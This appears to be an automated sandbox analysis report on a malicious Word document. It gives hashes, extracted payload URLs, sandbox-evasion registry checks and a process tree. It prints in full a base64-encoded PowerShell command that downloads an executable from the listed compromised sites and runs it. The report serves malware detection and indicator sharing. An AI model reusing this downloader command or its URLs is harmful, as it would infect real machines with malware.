Analysis
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max time kernel
136s -
max time network
167s -
platform
windows10-2004_x64 -
resource
win10v2004-20220721-en -
resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system -
submitted
24-07-2022 20:33
Static task
static1
Behavioral task
behavioral1
Sample
95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc
Resource
win7-20220715-en
Behavioral task
behavioral2
Sample
95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc
Resource
win10v2004-20220721-en
General
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Target
95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc
-
Size
151KB
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MD5
0491199596fec95f256cdf779e7b60e0
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SHA1
f49109cb3b8d6b5c78d8b7a0e07bfbb482ac62ce
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SHA256
95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343
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SHA512
31e0a7a789bb3299be18f72c67482bc591e4378b72a557a266450fb6188a16e460f7218c4d1f1a4e71620c9e31aff3db7796b2496c6af8e5f431bdc666a0a934
Malware Config
Extracted
http://durganamkeen.com/wp-admin/DgUwPMst/
http://gfpar.es/blogs/1y3p64_jyelzm-160135920/
http://yourplasteringneedscovered.co.uk/bfrye/eeURJGsK/
http://ladiesbazar.in/wp-includes/74yc005bti_pui2akdp-19152074/
http://engraced.org/wp-content/lwUhCxRzO/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3452 2348 powershell.exe 83 -
Blocklisted process makes network request 3 IoCs
flow pid Process 25 3452 powershell.exe 36 3452 powershell.exe 38 3452 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3484 WINWORD.EXE 3484 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3452 powershell.exe 3452 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3452 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABUADEAMABfADgANAAwADkAPQAnAGoAMwAwADMAXwA4ADgAJwA7ACQAbwA3ADkANAA0AF8AMwAgAD0AIAAnADQAMwA1ACcAOwAkAHEANwAzAF8ANgAwADQAPQAnAGsAMgA0ADgAMQA4ADIAXwAnADsAJABTADUANQBfAF8AXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbwA3ADkANAA0AF8AMwArACcALgBlAHgAZQAnADsAJABEADYAMwAxADQAXwA0AD0AJwB0ADcAOAA2AF8AMAAnADsAJABNADMAOAA0ADEANgBfADkAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AGAALgB3AGUAQgBjAGAAbABJAGUAYABOAFQAOwAkAHAANgAzADYAXwA4ADAANgA9ACcAaAB0AHQAcAA6AC8ALwBkAHUAcgBnAGEAbgBhAG0AawBlAGUAbgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABnAFUAdwBQAE0AcwB0AC8AQABoAHQAdABwADoALwAvAGcAZgBwAGEAcgAuAGUAcwAvAGIAbABvAGcAcwAvADEAeQAzAHAANgA0AF8AagB5AGUAbAB6AG0ALQAxADYAMAAxADMANQA5ADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB5AG8AdQByAHAAbABhAHMAdABlAHIAaQBuAGcAbgBlAGUAZABzAGMAbwB2AGUAcgBlAGQALgBjAG8ALgB1AGsALwBiAGYAcgB5AGUALwBlAGUAVQBSAEoARwBzAEsALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAaQBlAHMAYgBhAHoAYQByAC4AaQBuAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwA0AHkAYwAwADAANQBiAHQAaQBfAHAAdQBpADIAYQBrAGQAcAAtADEAOQAxADUAMgAwADcANAAvAEAAaAB0AHQAcAA6AC8ALwBlAG4AZwByAGEAYwBlAGQALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBsAHcAVQBoAEMAeABSAHoATwAvACcALgBTAFAAbABJAFQAKAAnAEAAJwApADsAJABzAF8ANgA5ADEAMwAxADIAPQAnAGMAMAA3ADkAOAA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADcAMQAwADEAMgAgAGkAbgAgACQAcAA2ADMANgBfADgAMAA2ACkAewB0AHIAeQB7ACQATQAzADgANAAxADYAXwA5AC4ARABPAFcATgBsAG8AYQBkAGYASQBMAEUAKAAkAEQANwAxADAAMQAyACwAIAAkAFMANQA1AF8AXwBfACkAOwAkAHoANwA2ADAAMQAzAD0AJwBxADEAMQA3ADUAMABfADAAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABTADUANQBfAF8AXwApAC4AbABFAG4AZwB0AGgAIAAtAGcAZQAgADIANQAyADIAMwApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABTADUANQBfAF8AXwA7ACQAcwBfADQAMwAwADkAOAA5AD0AJwBEAF8ANAA5ADkAMAA1ADQAJwA7AGIAcgBlAGEAawA7ACQAUAA5ADIANABfADIAXwAwAD0AJwBtADYANwA2AF8AMwA4ADUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA2AF8AMwA5ADIAPQAnAGgAXwA2ADYAMwAzADYAMQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3452